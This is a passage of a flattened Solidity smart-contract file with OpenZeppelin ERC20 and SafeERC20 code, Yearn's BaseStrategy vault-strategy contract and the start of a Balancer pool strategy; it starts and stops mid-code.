_approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // Part: OpenZeppelin/[email protected]/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: yearn/[email protected]/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: yearn/[email protected]/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; // health checks bool public doHealthCheck; address public healthCheck; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.4.3"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyVaultManagers() { require(msg.sender == vault.management() || msg.sender == governance(), "!authorized"); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } function setHealthCheck(address _healthCheck) external onlyVaultManagers { healthCheck = _healthCheck; } function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers { doHealthCheck = _doHealthCheck; } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. // If your implementation uses the cost of the call in want, you can // use uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. uint256 totalDebt = vault.strategies(address(this)).totalDebt; debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); // call healthCheck contract if (doHealthCheck && healthCheck != address(0)) { require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck"); } else { doHealthCheck = true; } emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault)); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // File: Strategy.sol contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 internal constant weth = IERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); IBalancerVault public balancerVault; IBalancerPool public bpt; IERC20[] public rewardTokens; IAsset[] internal assets; SwapSteps[] internal swapSteps; uint256[] internal minAmountsOut; bytes32 public balancerPoolId; uint8 public numTokens; uint8 public tokenIndex; struct SwapSteps { bytes32[] poolIds; IAsset[] assets; } uint256 internal constant max = type(uint256).max; //1 0.01% //5 0.05% //10 0.1% //50 0.5% //100 1% //1000 10% //10000 100% uint256 public maxSlippageIn; // bips uint256 public maxSlippageOut; // bips uint256 public maxSingleDeposit; uint256 public minDepositPeriod; // seconds uint256 public lastDepositTime; uint256 internal constant basisOne = 10000; bool internal isOriginal = true; uint internal etaCached; constructor( address _vault, address _balancerVault, address _balancerPool, uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod) public BaseStrategy(_vault){ _initializeStrat(_vault, _balancerVault, _balancerPool, _maxSlippageIn, _maxSlippageOut, _maxSingleDeposit, _minDepositPeriod); } function initialize( address _vault, address _strategist, address _rewards, address _keeper, address _balancerVault, address _balancerPool, uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod ) external { _initialize(_vault, _strategist, _rewards, _keeper); _initializeStrat(_vault, _balancerVault, _balancerPool, _maxSlippageIn, _maxSlippageOut, _maxSingleDeposit, _minDepositPeriod); } function _initializeStrat( address _vault, address _balancerVault, address _balancerPool, uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod) internal { require(address(bpt) == address(0x0), "Strategy already initialized!"); healthCheck = address(0xDDCea799fF1699e98EDF118e0629A974Df7DF012); // health.ychad.eth bpt = IBalancerPool(_balancerPool); balancerPoolId = bpt.getPoolId(); balancerVault = IBalancerVault(_balancerVault); (IERC20[] memory tokens,,) = balancerVault.getPoolTokens(balancerPoolId); numTokens = uint8(tokens.length); assets = new IAsset[](numTokens); tokenIndex = type(uint8).max; for (uint8 i = 0; i < numTokens; i++) { if (tokens[i] == want) { tokenIndex = i; } assets[i] = IAsset(address(tokens[i])); } require(tokenIndex != type(uint8).max, "token not supported in pool!"); maxSlippageIn = _maxSlippageIn; maxSlippageOut = _maxSlippageOut; maxSingleDeposit = _maxSingleDeposit.mul(10 ** uint256(ERC20(address(want)).decimals())); minAmountsOut = new uint256[](numTokens); minDepositPeriod = _minDepositPeriod; want.safeApprove(address(balancerVault), max); } event Cloned(address indexed clone); function clone( address _vault, address _strategist, address _rewards, 